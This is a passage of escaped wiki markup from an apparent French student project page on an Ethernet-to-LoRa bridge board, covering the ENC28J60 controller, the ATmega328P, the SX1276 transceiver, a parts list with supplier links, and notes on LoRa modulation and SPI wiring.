le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
